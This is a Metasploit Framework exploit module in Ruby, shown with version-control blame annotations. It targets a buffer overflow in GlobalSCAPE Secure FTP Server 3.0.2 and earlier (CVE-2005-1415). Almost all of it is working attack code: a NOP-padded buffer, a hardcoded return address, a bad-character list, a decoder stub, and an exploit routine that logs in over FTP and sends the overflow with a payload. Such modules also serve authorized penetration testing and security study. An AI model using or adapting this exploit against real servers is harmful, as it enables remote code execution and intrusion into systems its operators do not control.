2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
# $Id:$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-11-24 17:41:32 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Ftp::GlobalScapeInputOverflow < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Exploit::Remote::Ftp
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
|
|
|
|
All versions prior to 3.0.3 are affected by this flaw. A valid user account (
|
|
|
|
or anonymous access) is required for this exploit to work.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-11-24 17:41:32 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'BID', '13454'],
|
2005-11-24 17:41:32 +00:00
|
|
|
[ 'OSVDB', '16049'],
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2005-1415'],
|
2005-11-24 17:41:32 +00:00
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
|
|
|
|
[ 'MIL', '22'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
2005-11-24 19:04:37 +00:00
|
|
|
'BadChars' => "\x00\x20\x61\x62\x63\x64\x65\x66\x67\x68\x69" +
|
|
|
|
"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" +
|
|
|
|
"\x75\x76\x77\x78\x79\x7a",
|
2005-11-24 17:41:32 +00:00
|
|
|
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
|
|
|
|
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
2005-11-24 19:04:37 +00:00
|
|
|
'Ret' => 0x1002f01f,
|
2005-11-24 17:41:32 +00:00
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'May 1 2005',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_login
|
|
|
|
|
|
|
|
buf = make_nops(3047)
|
2005-11-24 19:04:37 +00:00
|
|
|
buf[2043, 4] = [ target.ret ].pack('V')
|
2005-11-24 17:41:32 +00:00
|
|
|
buf[2047, payload.encoded.length] = payload.encoded
|
|
|
|
|
2005-11-25 04:11:22 +00:00
|
|
|
send_cmd( [buf] )
|
2005-11-24 17:41:32 +00:00
|
|
|
|
|
|
|
handler
|
2006-01-08 14:27:59 +00:00
|
|
|
disconnect
|
2005-11-24 17:41:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|